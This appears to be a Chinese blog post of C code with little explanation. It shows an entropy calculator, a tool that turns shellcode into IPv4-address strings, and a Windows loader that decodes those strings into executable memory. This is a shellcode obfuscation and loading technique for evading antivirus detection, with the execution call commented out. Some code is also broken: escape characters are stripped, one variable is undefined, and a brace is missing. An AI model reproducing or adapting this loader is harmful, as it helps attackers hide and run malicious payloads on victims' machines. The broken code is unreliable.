熵-shellcode to xxx

#include <stdio.h>#include <stdlib.h>#include <math.h>double calculate_entropy(const char *file_path) {  FILE *file = fopen(file_path, "rb");  if (!file) {    perror("Error opening file");    exit(EXIT_FAILURE);  }  // 初始化字节计数数组  int byte_count[256] = { 0 };  int total_bytes = 0;  int byte;  // 读取文件并统计每个字节的出现次数  while ((byte = fgetc(file)) != EOF) {    byte_count[byte]++;    total_bytes++;  }  // 计算熵值  double entropy = 0.0;  for (int i = 0; i < 256; i++) {    if (byte_count[i] > 0) {      double probability = (double)byte_count[i] / total_bytes;      entropy -= probability * log2(probability);    }  }  fclose(file);  return entropy;}int main(int argc, char *argv[]) {  if (argc != 2) {    fprintf(stderr, "Usage: %s <file_path>n", argv[0]);    return EXIT_FAILURE;  }  const char *file_path = argv[1];  double entropy = calculate_entropy(file_path);  printf("Entropy of %s: %lf bitsn", file_path, entropy);  return EXIT_SUCCESS;}

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>int main(int argc, char *argv[]) {  FILE *fp = fopen(argv[1], "rb");  if (fp == NULL) {    perror("Error opening file");    return 1;  }  printf("const char* IPv4s[] =n");  printf("    {n");  uint32_t chunk;  while (fread(&chunk, sizeof(uint32_t), 1, fp) == 1) {    printf("        "%d.%d.%d.%d",n", (chunk & 0xFF), ((chunk >> 8) & 0xFF), ((chunk >> 16) & 0xFF), ((chunk >> 24) & 0xFF));  }  printf("    };n");  fclose(f);  return 0;

#include <Windows.h>#include <stdio.h>#include <Ip2string.h>#pragma comment(lib, "Ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endif// 声明 DecodeIPv4Fuscation 函数void DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, int count);int main() {  const char* IPv4s[] = {    //这里放置shellcode to ipv4后的数据    "252.232.137.0",    "0.0.96.137",    "229.49.210.100",  };  void* exec = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  int init = sizeof(IPv4s) / sizeof(IPv4s[0]);  DecodeIPv4Fuscation(IPv4s, exec, init);//  for (int i = 0; i < init * 4; i++) {//  printf("%02X", ((unsigned char*)exec)[i]);//}//  ((void(*)())exec)();  VirtualFree(exec, 0, MEM_RELEASE);  return 0;}void DecodeIPv4Fuscation(const char* ipv4Addresses[], PVOID baseAddress, int count) {  PCSTR terminator = NULL;  DWORD_PTR pointer = (DWORD_PTR)baseAddress;  NTSTATUS status;  for (int i = 0; i < count; i++) {    status = RtlIpv4StringToAddressA((PCSTR)ipv4Addresses[i], FALSE, &terminator, (in_addr*)pointer);    if (!NT_SUCCESS(status)) {      return;    }    pointer += 4;  }}